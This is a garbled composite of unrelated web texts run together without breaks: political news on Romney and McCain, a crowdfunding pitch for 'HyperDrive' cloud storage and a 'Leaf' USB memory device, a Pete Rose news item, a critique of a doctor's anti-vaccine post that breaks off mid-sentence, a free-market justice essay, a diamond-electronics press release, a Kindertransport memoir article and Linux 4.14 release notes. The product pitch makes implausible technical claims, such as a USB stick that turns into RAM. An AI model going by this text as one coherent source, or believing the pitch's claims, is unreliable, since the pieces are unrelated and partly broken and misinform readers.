“I think any Republican leader in this country would be honored to be asked to serve as the vice-presidential nominee, myself included,” said Mr. Romney, who is scheduled to appear on Fox News Channel’s Hannity & Colmes tonight, according to advance excerpts. “Of course this is a nation which needs strong leadership. And if the nominee of our party asked you to serve with him, anybody would be honored to receive that call.”
The pair engaged in some of the most bitter feuding of the campaign cycle as they tangled in New Hampshire, Michigan, Florida and heading into the crush of states that voted on Feb. 5.
Even so, there has been some talk about a McCain-Romney ticket, with fans arguing Mr. Romney, who had his own trouble with the party’s conservative base but then over time seemed to attract their support, would help Mr. McCain among conservatives and also by lending him credibility on economic issues.
“There seems to be a growing enthusiasm out there for an M and M ticket, particularly on the part of conservatives,” said Karl Rove on Fox News on Monday.
Mr. Romney also sought to put to rest in the interview the notion that he harbors any resentment from the rough-and-tumble campaign fight with Mr. McCain.
“There are really no hard feelings, I don’t think, on either side of this,” he said. “There were no pacts and so forth that make people feel like that we will never come together. Instead these campaigns are all coming together. We are supporting our nominee enthusiastically, aggressively. I intend to campaign for Senator McCain. I have already asked my fund-raising team to meet with his team. They have done so. We are laying out ways to support his campaign.”
But it was Mr. McCain who often seemed to be the one who had special distaste for his opponent, Mr. Romney.
”Never get into a wrestling match with a pig,” said Mr. McCain in January in New Hampshire after reporters asked him about attacks by Mr. Romney. ”You both get dirty, and the pig likes it.”All current and future backers will be upgraded to this new and cheaper pricing structure on servers that have more than doubled in performance from what was first offered at the start of this Kickstarter Campaign.
HyperDrive offers 100gb of storage space on fully encrypted Solid State Drives with 64gb of RAM and 50tb of bandwidth for only $4 a month. These processing specifications far exceed that of iCloud or Google Drive and we do it at a lower price!
If you need more space or RAM, you can easily update your plan for as little as 4 cents a gigabyte with bulk rates down to 2 cents a gigabyte. RAM is also upgradable to an astonishing 128gb.
In addition, you’ll have peace of mind knowing that all content is hard encrypted with industry leading technology directly on our servers. We also allow you to upload files of ANY kind and ANY size with no limits whatsoever.
We believe in removing the limits that major Cloud providers put on storage plans. As such, we also offer flexible storage options starting with 1gb of space for only 4 cents a month!
Standard plans start at $4.00 a month and provide 100gb of storage. This works out to just $0.04 per gigabyte.
If you need more space, additional storage is available at the following monthly discounted prices.
Per Gigabyte
$0.04 for 0-300gb
$0.03 for 300-600gb
$0.02 for 600-1tb
What does HyperDrive allow you to do?
You can rapidly access your content and interact with it directly in the cloud. All files, photos, and games can be accessed, shared, and interacted with from any Windows, Mac, IOS, or Android device. Depending on your plan, you can upload, download, and process at speeds ranging from 1gbs all the way up to 10gbs. So if you have large, load heavy material, such as raw 4k footage, that you need stored or sent, HyperDrive will allow you to do so with speed, ease, security, and efficiency beyond what is currently available.
You will be also able to upload full games from your device and be able to play them directly in the cloud. Imagine being able to purchase the smallest storage capacity iPhone or Android device and being able to use it as if you had a model that costs hundreds more.
Biotechnology
We have also introduced advanced biometric systems, such as facial and voice recognition, gesture control, and fingerprint reading, to secure your content, all without requiring any additional hardware. All you need is a device that has a microphone, front facing camera, or a finger print reader, and our software will automatically choose the best options to secure your content.
HyperDrive can be accessed via a portal on our website from any web browser. It can also be accessed through our mobile versions of Leaf on both Android and IOS or directly from the browser for a fully immersive experience.
Ocean and Hosting
Ocean is our operating system that utilizes our HyperDrive servers as the local base for all of your interactions with your devices. You will be able to access any device you have linked to HyperDrive from any other device you have also linked. For example, while away from home, you want to access a presentation sitting on your Mac. From your phone, you can select your Mac from the list under Ocean. Once selected, you now have access to the content residing on your computer. You also have the option to choose any desktop or mobile OS to run all of your programs. For example, you can upload full operating systems such as OS X, IOS, Windows, and Linux, to Ocean and run all of them simultaneously from any device.
Ocean will bring all us one step closer to being able to fully immerse ourselves in our content without ever having to worry about losing data or not being able to manage certain content because you have a different computer.
HyperDrive will allow you to also host your own websites using a 100% custom domain extension. Never again be bound by limited.com choices or other registrar options.
Calendar and AP
We believe in using technology to increase productivity and efficiency. Accordingly, we have developed a calendar and scheduling application which we believe is one of the most powerful organization tools available. Built into the calendar application is an artificial intelligence system called AP. The system learns from your actions in the cloud and, if granted access, can interpret information from your social media sites. AP uses the information to make recommendations for you throughout the day. For example, AP can scan through your, your friend's, and their friend's Facebook feed for events that might be important to you such as birthdays and anniversary. You can also set limits for how far AP searches. It will make recommendations based on your current location.
For example, if it is your sister-in-law's birthday, you will get a notification of the event and receive recommendations based on her social media posts for gifts. For example, AP may identify that she likes a certain type of flower or candy. It will locate nearby stores where you can purchase the item by clicking the one touch 'Buy Now' button. If you have chosen to save your payment information to HyperDrive, it will be used to place the order. If the individual is in your contacts with an address, you can also opt to have the gift sent to the recipient.
A separate page explaining all of the features will be released December 12 as part of our 25 Days of Christmas Special.
Simplicity and Elegance
We believe everyone should be able use cloud processing power for their everyday tasks. It is lightening fast, secure, and flexible. However, often the interface is confusing and cumbersome. We want to eliminate those issues, so we now employ four full time graphic artists to work with our programers to continually develop an interface that has all of the features you need and want, while keeping things sleek and intuitive.
Without doing any organizing yourself, HyperDrive automatically creates a cover-flow view that groups files for you. Shown in accessibility mode. See the activity and customizability section below.
Privacy and Email
We strongly believe that your data should be yours and yours alone! This is further supported by our email service we developed that each user gets for free when they subscribe. Your emails will always remain private, no advertising networks or other organizations will ever have access to your messages! Not only does this keep your content secure and keep out of prying eyes, but it also refines the overall look of your email manager.
Documents and Productivity
We have developed a full document creator where you will not only have access to all the tools applications such as Microsoft Word or Pages provides, but you will also be able to collaborate, assign positions, establish goals, hold conferences, share screens in live time, create reports, automatically create and analyze data such as inventory and financial reports, and so much more!
All of this will be included for free with your subscription!
Activity and Customizability
You can toggle between standard and accessibility mode individually on every page.
All of your files will be able to sync from your computer, phone, or tablet. In addition, your wearable devices such as Apple watch, will also be able to upload valuable health data which will be displayed in the activity center.
Within the activity center you will also be able to keep track of all the changes you have made regarding your files. With a two step verification system, you will never lose important data again! You will also be able to manage who has access to any shared content, as well as who you allow access to collaborative projects.
You can customize your home page to display live weather for your location.
What is Leaf?
Leaf is a series of products that enhance your digital communication network.
Applications
Android
Leaf also includes FREE applications which enhance the performance of your mobile devices by systematically optimizing your cache files. The application also has an intelligent kill function that removes all RAM usage artifacts without affecting saved data. The result is more streamlined interaction between you and your streaming, gaming and file management, all while reducing the power consumption of your device.
Current features include:
- A full diagnostic and complete listing of installed applications with both RAM and cache usage
- An aggressive cache cleaner that scrubs through all internal data
- Device scanning ability to check overall RAM usage and how it affects performance
- Intelligent kill application function that removes all RAM usage artifacts without affecting saved data
- All of the functions can run automatically in the BACKGROUND, which allows for unprecedented game play
- Clear cache for a specified region of your device or a 1-tap to clear all cached files
- Automatic clearing when you open the app or at a specified interval with automatic exiting when complete
- The ability to list and sort applications by either cache size or application name
- The ability to automatically search through your files, such as photos, and delete blurry selections or duplicate data
We are also bringing facial recognition software to our application in our next public release.
IOS
We have also developed an IOS application identical to our Android version. It is currently compatible with IOS 8 and we are now upgrading it to handle IOS 9 with the addition of 3D touch.
Our Leaf app is also the gateway to our HyperDrive service which is our own Cloud processing network.
Why We Need Your Help Moving Forward
Stage 1 Goal $10,000: Once we hit this goal, we will be able to move into full production for all aspects of Leaf and HyperDrive.
Android and HyperDrive
We have completed our Android application and established a secure link with our HyperDrive servers. However, while the interface of HyperDrive is complete and the functionality of all the cloud hosted apps work as described, we are rewriting the connection between our server centers and the software package. It is this connection that fuses the advancements of our software with the physical power of our servers.
Currently, we developed HyperDrive using a combination of PHP, HTML, and a little in house magic. The result was something we were quite pleased with. However, we can provide so much more! As such, if we hit our target of $10,000, we will be moving to full custom coding fused with MEAN architecture.
MEAN is an acronym for: MongoDB, Express, AngularJS, Node.JS
Without getting into the nitty-gritty of what MEAN is in terms of coding, basically when fused with our custom scripts, it allows for a much more robust platform. Not only is it able to actively handle a larger load, but it also frees up limits that would have otherwise inhibited future growth of new features. When this is paired with the ability to establish additional server centers as a result of this Kickstarter campaign, the integrity of HyperDrive will exceed our high standards. This combination will also ensure that speed and up time remain comparable for our entire subscriber base.
The timeframe for these upgrades are as follows:
December: Tweak current platform design in preparation for the full coding upgrade.
January: Begin coding the initial platform to server link.
February: Solidify initial programing and install the completed HyperDrive software on the platform. Establish a third server center.
March: Configure HyperDrive on the servers and run diagnostics on the connection.
April: Finish refining the interface with the connection link. This is our foreseeable launch date. However, while we are not anticipating any delays or errors, should there be any, we will keep everyone updated via this Kickstarter page as well as our website.
IOS
IOS development is well underway, however, with your support we will be able to add more features to make use of the iPhone's new 3D Touch interface, which will ultimately lead to a smoother and more intuitive interaction with your content management via the app.
Stage 2 Goal $40,000: If we succeed in raising $40,000 we will be able to finish development on a Leaf drive for Apple computers that will offer all of the same benefits as the PC counterpart. Due for release mid-late 2016.
Leaf for Windows has been phased out due to its recent incompatibility with Windows 10. Backers of Leaf for Windows have been given a choice of a subscription to HyperDrive or maintain their pledge which will be delivered if we maintain the currently needed order of 1000 units from the manufacturer. If we do not meet this requirement, users will be refunded their pledge or be transferred to HyperDrive if they wish. Shipping December 2015.
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We are committed to bringing you the most affordable and efficient technology for your personal and business use. As upgrades become available, you can download them from our site for FREE!
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Devices - Now Retired. All efforts have been shifted to finishing HyperDrive and the corresponding IOS and Android applications.
Leaf includes a patent-pending device which intelligently morphs into a random access memory chip using a computer's USB port. This device works on 2.0, 3.0, or higher port values for the purpose of adding additional RAM function to an existing computer's bus. Leaf plugs directly into your USB port to not only improve the speed of the computer but also consolidate system processing to the device, thereby freeing on board RAM for secondary processing.
What does this mean?
It means that your computer can more efficiently process data. Your computer will respond faster alleviating the frustration of slow interactions.
We have developed 3 different specification drives: 8gb, 16gb, and 32gb.
The 8gb and 16gb version of Leaf are perfect for everyday users who surf the web, construct documents and power points, as well as watching videos and playing music.
The 32gb model provides additional power for business and gaming applications.
You can connect up to 8 Leafs to a single computer and configure each one separately to customize them to your needs.
When we were designing the interface, we wanted it to be not only pleasing to the eye, but also be as intuitive as possible so you wouldn't have to waste time learning how to use Leaf. As such, we added an intelligent auto activation feature that will scan your computer and adjust the settings to optimize Leaf for your use. For more hands-on users, we added a manual feature that allows you to select different options for each drive you connect to your computer. You can adjust things like automatic reset times and overall virtual cache allowance to fine tune Leaf to your gameplay or business set up.
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Proudly Featured on:Baseball's all-time hit king, Pete Rose, won't be working for Fox Sports as a baseball analyst moving forward, according to the Hollywood Reporter. Rose had been part of Fox's studio team, notably offering pregame and postgame analysis for the postseason the past few years and was set to return for the 2017 playoffs, but things have changed of late.
Rose was accused of statutory rape on a radio show John Dowd, who was the special counsel to the commissioner of baseball back during the investigation into Rose's gambling on baseball. That investigation led to Rose's permanent ban from baseball and is in part what has kept him out of the Hall of Fame to this day.
In light of Dowd's accusations, Rose filed a defamation lawsuit. Court documents last month revealed that during the course of the lawsuit Rose filed, a woman testified that in the 1970s she had a sexual relationship with Rose that started before she turned 16 in Ohio -- where the age of consent is 16. At the time, Rose was 34 years old and married with two children. Dowd has alleged that Rose committed statutory rape in Florida, where the age of consent is 18, during spring training.
Court documents showed that Rose acknowledged the sexual relationship with this woman (listed only as "Jane Doe" for the purposes of her privacy) but said that he thought she was 16.
Amid the allegations, the Phillies cancelled their scheduled Pete Rose Wall of Fame ceremony for Aug. 12. Some, such as Bill Reiter of CBS Sports, called for Fox to terminate Rose.
Rose won't face charges stemming from this, as the statute of limitations has passed since this happened back in the '70s.
Regardless, a place of business still has the right to fire an employee for allegations such as these and it appears Fox has done as much with Rose.In a striking display of anti-science fear-mongering, the Cleveland Clinic's Daniel Neides, M.D., medical director and chief operating officer of the Cleveland Clinic Wellness Institute, regurgitated anti-vaccine talking points on a local news site. Right in the middle of flu season, a medical director board-certified in family medicine is using the Cleveland Clinic platform to harmfully spread misinformation about a vaccine that can reduce people’s risk of a life-threatening illness. By the end of his rant, this family doctor has employed a half dozen anti-vaccine arguments that dangerously misinform readers and undermine the credibility of the Cleveland Clinic.
Cleveland Clinic spokeswoman Eileen Sheil wrote in an email, "Cleveland Clinic fully supports vaccinations to protect patients and our employees. The statements made by our physician do not reflect the position of Cleveland Clinic."* This statement echoes a tweet by Cleveland Clinic earlier this evening: "We fully support vaccines to protect patients & employees. Statements made by our physician do not reflect the position of Cleveland Clinic." However, the article, published in a local outlet, uses the Clinic logo. [ETA 1/8/17: Cleveland Clinic has provided an updated statement and an apology and retraction from Neides. See both at the bottom of the article.]
Also on Forbes:
It’s one thing for major hospital conglomerates to embrace complementary and alternative medicine techniques that have some emerging evidence backing up their potential benefits, such as mindfulness meditation for treating or preventing hypertension, or potential benefits of probiotics. But Neides’s rant—which is basically what his post is—fully embraces factually inaccurate anti-vaccine mythology that I’ve debunked many times before.
Neides starts by telling his readers he “took the advice of the Centers for Disease Control (CDC)—the government—and received a flu shot.” But he immediately clarifies that he chose to get the “preservative-free vaccine, thinking I did not want any thimerasol [sic] (i.e. mercury) that the ‘regular’ flu vaccine contains.” First, there is no “regular” flu vaccine. The flu vaccine is administered in single doses, which does not require a preservative since the dose is disposed of after it’s given, or from a multi-dose vial, which requires use of a preservative to prevent the introduction of bacteria or fungus to the vial between shots.
Neides is correct that thimerosal is the preservative used in these multi-dose vials—but he refers to it as mercury, then asking, “Why would any of us want to be injected with mercury if it can potentially cause harm?” Except, “mercury” is an element that can come |
, innocent people locked up do get paid millions for their time, but the taxpayers pay that money. The judges, jurors, prosecutors, and police officers responsible don’t pay a dime and they get to continue doing their job!
Any court that convicts even a few innocent people will quickly be out of business. Any private juror or judge that gets even a few verdicts wrong will quickly be unemployable as well. In a free market, all sides involved would have incentive to get it right, or else suffer the financial and personal consequences when they convict an innocent person.
Other Benefits of a Private Justice System
Another huge problem with today’s justice system is recidivism. When someone goes to jail, they don’t learn new skills, they are housed in a dangerous environment, they loose all sense of self-worth and value for life and property, and they are mostly unemployable when they are released. This dangerous mixture leads to more crime committed by the former criminals, often times of a more violent nature than what they originally did.
How will this be different with a free market in justice? First, there would be very few prisons that actually house people 24/7. These work camp prisons would be expensive, and most likely be only used for murders and other horribly violent people. People that probably won’t ever be able to pay off their huge criminal debt to the estates of their victims. Even then, it would still be in the prison’s best interest to maintain a safe, healthy environment in order to maximize productivity. This means keeping their prisoners healthy and teaching them new, more valuable skills.
What about lesser crimes? I imagine many criminals would not want to be in a 24/7 work camp, so I’m sure they’d negotiate a deal to report somewhere 5 days a week for the day to work off their debt. Of course, the more money they make, the quicker they’re totally free. This incentivizes the convicts to work, and it would incentivize competing businesses to pay the highest wages possible in order to attract the best convict labor. This could also allow convicts to learn new skills on the job. Skills that could be used to become a productive person with no need for crime.
In the end, no system will ever be perfect. What I think we can agree on is that the current justice system is extremely flawed, will continue to make us less safe, and will cost us more money every year. Any industry that is largely left up to the market, whether it’s electronics, computing, food, etc will always bring the world tremendous products and services at lower and lower prices. Any socialized industry, like public schools, will always bring the world worse and worse products and services at higher and higher prices. It’s time we take the socialism out of the justice system and unleash the free market.
Originally published here
Source: Karen Arnold
http://www.publicdomainpictures.net/view-image.php?image=72557&picture=scales-of-justice-logo
License: Public DomainResearchers find diamond could hold more charge
Researchers at the University of Glasgow have found an improved method to introduce mobile electronic charge into synthetic diamond.
The improved method will increase the stability and performance of electronic components such as transistors made from diamond and lead to a new generation of tough and durable electronic systems that could be used in space. Diamond is very resistant to radiation and either extreme heat or cold and is therefore an excellent material choice for operation in satellites and other space based technology.
Since the mid twentieth century, people have been trying to use diamond to make electrical devices because of its unique properties. Many are aware of its extreme physical hardness but fewer are aware of its electrical properties. For example, it possesses the highest thermal conductivity of any known solid which allows heat to flow through it more easily than any other material. It is also extremely robust electrically, which means it can tolerate high voltages, making it better placed than other materials such as silicon for use in high power components.
As pure diamond is essentially an insulator, to make an electronic device from it, it must be 'doped' to introduce mobile charge into it so it can carry an electrical current.
Unfortunately, many of the material properties that make diamond so attractive as an electronic material also make it very difficult to dope. Although a lot of research over the last 40 years has focussed on this problem, even the best processes currently in use for this today are unstable and/or quite inefficient. This is the main reason why diamond electronics has not yet reached a level of maturity for commercialisation.
Using a process known as surface transfer doping, and by using new materials combined with diamond, the researchers have now demonstrated a much more stable and more efficient technique to overcome this problem. The work was undertaken in the James Watt Nanofabrication Centre.
Dr Dave Moran, who holds a Lord Kelvin Adam Smith Fellow in Sensor Systems in the Schhool of Engineering at the University of Glasgow said “The implications of this process are considerable. With these new results, the team believe they have cracked one of the main problems that has until now stopped diamond electronics from becoming a reality.
"Traditionally for surface transfer doping of diamond to work, molecules which are naturally present in the air are required to attach themselves to the diamond surface. Electrons are transferred from the diamond to this layer of molecules which in turn creates electronic vacancies in the diamond known as ‘holes’. Much like electrons, these holes can then be used to pass current through the diamond. Unfortunately electronic devices made from this process rely on exposure to air to operate and are extremely sensitive to atmospheric conditions such as temperature and humidity, which makes them very unstable.
"We have identified a set of materials that due to their extreme energy alignments provide a more efficient and robust surface material to promote surface transfer doping in diamond. As well as drastically improving the stability, we have proven that we can more than double the amount of charge flowing through diamond using this process and predict that we can increase this even more. This should lead to a substantial increase in the performance and stability of future diamond electronic components."
Find out more
For further information, contact [email protected] or call 0141 330 3535They are, if nothing else, a tangible testament to a father's love. From 3 February 1939, when "little Heini" arrived in Swansea after leaving Berlin for the last time, until 31 August, when war made such communication impossible, Max Lichtwitz wrote a stream of postcards to his young son. They have left a unique record of his determination to maintain the parental bond with the boy whose life he had saved by sending him to a strange country and parting with him, as he feared, for ever.
What can the journey have been like for a bewildered six-year-old? Henry Foner, as little Heini Lichtwitz would become, remembers the German border guards searching the train passengers and his one small suitcase, the Dutch women on the other side of the crossing handing out "delicious" sausage rolls, a helmeted bobby on the quay at Harwich, the large hall where he waited to be collected, but nothing of the painful departure from Berlin. "It's a strange thing; if you talk to people like me, the traumatic memory is of parting with their parents, and I can't remember it at all. It must have been traumatic and I must have forgotten because I remember the journey very well, but I can't remember saying goodbye to my father and my grandmother." (His mother had died two years earlier.)
The "people like me" to whom Foner refers were the 10,000 Jewish and "non-Aryan" children of the "kindertransport" who, between December 1938 – in the wake of the Kristallnacht pogrom which had terrorised Jews across Berlin – and September 1939, escaped the coming Holocaust, leaving their families in Nazi Europe by train and ferry for Britain, accompanied by youth workers and unemployed Jewish professionals who risked their lives by returning again and again to remove other groups of children to safety.
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In a series of events to commemorate the programme's 75th anniversary, some of the children, most now in their eighties, will convene with their families at London's Jewish Free School today in a gathering addressed by David Miliband and Maureen Lipman, and at St James's Palace tomorrow for a reception given by the Prince of Wales.
The young Heinz Lichtwitz, as he then was, was destined for the home of a Jewish couple in Swansea, Morris and Winnie Foner. Despite the comforting postcard with "1,000 kisses" his father sent him as soon as he knew he was safely with the Foners, his arrival cannot have been easy. He spoke only German, his new foster family only English and Yiddish.
Yet after just a few months in a local Swansea school, when his father telephoned him on his birthday in June – Henry can remember the call standing in the hall of the Foners' home in the Sketty area of Swansea – he had forgotten his German. Which is why from then on, his father wrote the cards as frequently as ever, but in English. The cards his father sent have now been published, along with other letters and cards, in a book produced by the Israel Holocaust History Museum Yad Vashem, entitled Postcards to a Little Boy: A Kindertransport Story.
They are a rich document of a programme which, when finally approved, was a kind of compromise by a UK government that was at the time resisting demands for an increase in Jewish immigration to British-run Palestine. Not all the children, billeted in homes and hostels across the country, had a happy time.
But Henry Foner, by his own account, was "one of the ones who was lucky. Morris and Winnie Foner brought me up as they would have brought up their own child, and more than that you can say of no-one." They made sure he knew them as "Uncle Morris and Auntie Winnie". "They never tried to hide the fact that I had a father and they would say, 'Henry, after the war we'll have to see…'" But Henry was never to see his father again. The last direct communication he had from Max, a lawyer who had worked hard to help other Jews escape from Germany, was a letter sent through the German Red Cross in August 1942, saying: "I'm glad about your health and progress. Remain further healthy! Our destiny is uncertain. Write more frequently. Lots of kisses, Daddy."
Max Lichtwitz was deported to Auschwitz on 9 December, and killed a week later. But in 1961, shortly before his 30th birthday, Henry received from a second cousin in the US what Max himself, by now expecting the worst, had called a "kind of farewell letter", written in 1941: "I think my Heini has found a good home and that the Foners will look after him as well as any parents could. Please convey to them, one day when it will be possible, my deepest gratitude for making it possible for my child to escape the fate that will soon overtake me… Please tell him one day that it was only out of deep love and concern for his future that I have let him go, but that on the other hand I miss him most painfully day by day and that my life would lose all meaning if there were not at least the possibility of seeing him again someday."
Henry Foner went on to serve in Egypt in the RAF, graduate – and gain a doctorate from – Leeds University, get married and finally settle in Israel with Judy, his beloved wife for 52 years. There, he worked as an eminent analytical and environmental chemist on the Geological Survey of Israel. He has eight grandchildren. The Yad Vashem book is dedicated – as well as to his wife – "to the memory of my father and grandmother who had the foresight and courage to send me away, and to Morris and Winifred Foner who saved my life and made me part of their family."
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Subscribe nowLinux 4.14 has been released on 12 Nov 2017.
Summary: This release includes support for bigger memory limits in x86 hardware (128PiB of virtual address space, 4PiB of physical address space); support for AMD Secure Memory Encryption; a new unwinder that provides better kernel traces and a smaller kernel size; a cgroups "thread mode" that allows resource distribution across the threads of a group of processes; support for the zstd compression algorithm has been added to Btrfs and Squashfs; support for zero-copy of data from user memory to sockets; better asynchronous buffered I/O support; support for Heterogeneous Memory Management that will be needed in future GPUs; better cpufreq behaviour in some corner cases; Longer-lived TLB entries by using the PCID CPU feature; asynchronous non-blocking buffered reads; and many new drivers and other improvements.
1. Prominent features
1.1. Bigger memory limits
Original x86-64 was limited by 4-level paging to 256 TiB of virtual address space and 64 TiB of physical address space. People are already bumping into this limit: some vendors offers servers with 64 TiB of memory today. To overcome the limitation upcoming hardware will introduce support for 5-level paging. It is a straight-forward extension of the current page table structures adding one more layer of translation. It bumps the limits to 128 PiB of virtual address space and 4 PiB of physical address space. This "ought to be enough for anybody" ©.
On x86, 5-level paging enables 56-bit userspace virtual address space. Not all user space is ready to handle wide addresses. It's known that at least some JIT compilers use higher bits in pointers. It collides with valid pointers with 5-level paging and leads to crashes. To mitigate this, the Linux kernel will not allocate virtual address space above 47-bit by default. Userspace can ask for allocation from full address space by specifying hint address above 47-bits.
Recommended LWN article: Five-level page tables
Code: commit, commit, commit, commit, merge
1.2. Add support for AMD Secure Memory Encryption
Secure Memory Encryption can be used to mark individual pages of memory as encrypted through the page tables. A page of memory that is marked encrypted will be automatically decrypted when read from DRAM and will be automatically encrypted when written to DRAM. Secure Memory Encryption can therefore be used to protect the contents of DRAM from physical attacks on the system.
Recommended LWN article: Two approaches to x86 memory encryption
AMD Memory encryption whitepaper: link
Code: commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
1.3. Better kernel traces with the ORC unwinder
This release includes a new "unwinder". An "unwinder" is what prints the list of functions (aka. stack trace, callgraph, call stack...) that have been executed before reaching a determinate point of the code, and it's used, for example, the list of functions that lead to a crash when a kernel oopses. The new unwinder is called ORC, an alias for "Oops Rewind Capability", and has been developed as an simpler alternative to the DWARF debuginfo format.
Linux already has an unwinder, and while it usually works well, it isn't reliable in all situations, which causes troubles for modern functionality like live patching that requires completely reliable stack traces. It also requires a functionality called "frame pointers" (CONFIG_FRAME_POINTERS) to print complete call stacks. Frame pointers make GCC add instrumentation code to every function in the kernel, which increases the size of the kernel executable code by about 3.2%, resulting in a broad kernel-wide slowdown, and more for some workloads. This option is enabled by default in some Linux distros.
In contrast, the ORC unwinder does not need to insert code anywhere so it has no effect on text size or runtime performance, because the debuginfo (about 2-4MiB) is placed out of band. So the ORC unwinder provides a nice performance improvement across the board compared with frame pointers, while at the same time having reliable stack traces.
Recommended LWN article: The ORCs are coming
Recommended article: The Linux x86 ORC Stack Unwinder
Code: commit, commit
1.4. zstd compression in Btrfs and Squashfs
zstd offers a wide variety of compression speed and quality trade-offs. It can compress at speeds approaching lz4, and quality approaching lzma. zstd decompressions at speeds more than twice as fast as zlib, and decompression speed remains roughly the same across all compression levels. Because it is a big win in speed over zlib and in compression ratio over lzo, FB has been using it in production with great results. Support has also been added for squashfs. For benchmark numbers see the links.
Project page: https://github.com/facebook/zstd
Code: commit, commit, commit, commit
1.5. Zero-copy from user memory to sockets
Copying large buffers between user process and kernel can be expensive. Linux supports various interfaces that eschew copying, such as sendpage(2) and splice(2). The MSG_ZEROCOPY socket flag extends the underlying copy avoidance mechanism to common socket send calls. Copy avoidance is not a free lunch. As implemented, with page pinning, it replaces per byte copy cost with page accounting and completion notification overhead. As a result, MSG_ZEROCOPY is generally only effective at writes over around 10 KB.
Recommended LWN article: Zero-copy networking
Documentation: MSG_ZEROCOPY
Netdev talk: sendmsg copy avoidance with MSG_ZEROCOPY
1.6. Heterogeneous Memory Management for future GPUs
Today device driver expose dedicated memory allocation API through their device file, often relying on a combination of IOCTL and mmap calls. The device can only access and use memory allocated through this API. This effectively split the program address space into object allocated for the device and useable by the device and other regular memory (malloc, mmap of a file, share memory,...) only accessible by CPU (or in a very limited way by a device by pinning memory). Allowing different isolated component of a program to use a device thus require duplication of the input data structure using device memory allocator. This is reasonable for simple data structure (array, grid, image,...) but this get extremely complex with advance data structures. This is becoming a serious limitation on the kind of work load that can be offloaded to device like GPU.
New industry standard like C++, OpenCL or CUDA are pushing to remove this barrier. This require a shared address space between GPU device and CPU so that GPU can access any memory of a process (while still obeying memory protection like read only). This kind of feature is also appearing in various other operating systems. Heterogeneous Memory Management is a set of helpers to facilitate several aspects of address space sharing and device memory management.
Recommended LWN article: Heterogeneous memory management
Documentation: Documentation/vm/hmm.txt
Code: commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
1.7. Asynchronous buffered I/O support
The buffered I/O path in Linux can block in some situations. Using a threadpool to emulate non-blocking operations on regular buffered files is a common pattern today (samba, libuv, etc...) Applications split the work between network bound threads (epoll) and IO threadpool. Not every application can use sendfile syscall (TLS / post-processing). This common pattern leads to increased request latency. Latency can be due to additional synchronization between the threads or fast (cached data) request stuck behind slow request (large / uncached data).
In this release, the preadv2(2) syscall with RWF_NONBLOCK will let userspace applications bypass enqueuing operation in the threadpool if it's already available in the pagecache.
Code: commit, commit, commit, commit
1.8. Better cpufreq coordination with SMP
In Linux, notifications of task scheduler events are sent to the cpufreq subsystem, so that it can increase the frequency if needed, and achieve good interactivity. However, the cpufreq drivers are not called when the events are happening in different CPUs, for example, a new process being created in another CPU. This release makes task scheduler to update the cpufreq policies for remote CPUs as well. The schedutil, ondemand and conservative governors are updated to process cpufreq updates for remote CPUs (the intel_pstate driver is updated to always reject them).
Recommended LWN article: CPU frequency governors and remote callbacks
Code: commit, commit
1.9. Control Groups thread mode
In this release, cgroup v2 supports thread granularity, to support use cases requiring hierarchical resource distribution across the threads of a group of processes. By default, all threads of a process belong to the same cgroup, which also serves as the resource domain to host resource consumptions which are not specific to a process or thread. The thread mode allows threads to be spread across a subtree while still maintaining the common resource domain for them.
Recommended LWN article: A milestone for control groups
Code: commit, commit, commit, commit, commit, commit
1.10. Longer-lived TLB Entries with PCID
PCID is a hardware feature that has been available on Intel CPUs and that it attaches an address space tag to TLB entries and thus allows the hardware to skip TLB flushes when it context-switches. x86's PCID is far too short to uniquely identify a process, and it can't even really uniquely identify a running process because there are monster systems with over 4096 CPUs. To make matters worse, past attempts to use all 12 PCID bits have resulted in slowdowns instead of speedups.
This release uses PCID differently. It uses a PCID to identify a recently-used mm on a per-cpu basis. An mm has no fixed PCID binding at all; instead, it is given a fresh PCID each time it's loaded except in cases where the kernel wants to preserve the TLB, in which case it reuses a recent value.
Code: commit, commit, commit, commit, commit, commit, commit, commit
2. Core (various)
Asynchronous I/O: non-blocking buffered reads (FEATURED) commit, commit, commit, commit
Control Groups (cgroup) Implement cgroup v2 thread mode (FEATURED) commit, commit, commit, commit, commit, commit Adds a new cgroupfs mount option, cpuset_v2_mode, to enable cpuset controller to use v2 behavior in a v1 cgroup commit, commit cgroup: introduce an ability to control the size of cgroup hierarchy. The cgroup.max.descendants file allows to set the maximum allowed number of descendant cgroups, the cgroup.max.depth file controls the maximum depth of the cgroup tree. A cgroup.stat file is added with some stats commit, commit, commit, commit
cpufreq: schedutil: Make iowait boost more energy efficient by doubling the boost for every consecutive iowait update, instead of going directly to the maximum commit
gcc plugins structleak: add option to force initialize all struct type variables passed by reference commit randstruct: Enable function pointer struct detection commit
PM: docs: Describe high-level PM strategies and sleep states commit
futex: Allow for compiling out PI support commit
Remove gperf usage from toolchain commit
IRQ debugfs: Triggering of interrupts from userspace commit irq_sim: Add a simple interrupt simulator framework commit
ipc: optimize semget/shmget/msgget for lots of keys commit
lockdep: Add 'cross-release' support, which allows APIs like completions or page locks, where it's not the 'owner' who releases the lock, to be tracked too commit, commit, commit,commit
Add zstd compression and decompression (FEATURED) commit
Add xxhash hash algorithms (needed by zstd) commit
Extend the sys_membarrier(2) ABI with the MEMBARRIER_CMD_PRIVATE_EXPEDITED variant. It executes faster than the non-expedited variant (no blocking), and it also works on NOHZ_FULL configurations commit
prctl: Allow local CAP_SYS_ADMIN changing exe_file, used by checkpointing software commit
task scheduler Call the cpufreq callbacks for remote CPUs as well as local (FEATURED) commit, commit Hotplug state fail injection commit Improve the interrupt and rescheduling latency in systems that have a very long wakeup list commit, commit Add debugfs knob for "sched_debug" commit Show task state in /proc/sched_debug commit
objtool: Add ORC unwind table generation (FEATURED) commit
Greatly improve quota scalability (100% improvement for file creation and about 50% improvement for file unlink in some benchmarks) commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit, commit
driver core: emit uevents when device is bound to a driver commit
power management: Extend generic power domain debugfs commit
firmware: delete in-kernel firmware commit
3. File systems
BTRFS Add zstd support (FEATURED) commit Allow a degraded read-write mount if all the raid profile constraints are met commit, commit Improve ssd allocation algorithms commit Allow defrag compress to override NOCOMPRESS attribute commit Convert prelimary reference tracking to use rbtrees (prep work for better extent reference tracking) commit Deprecate userspace transaction ioctls commit
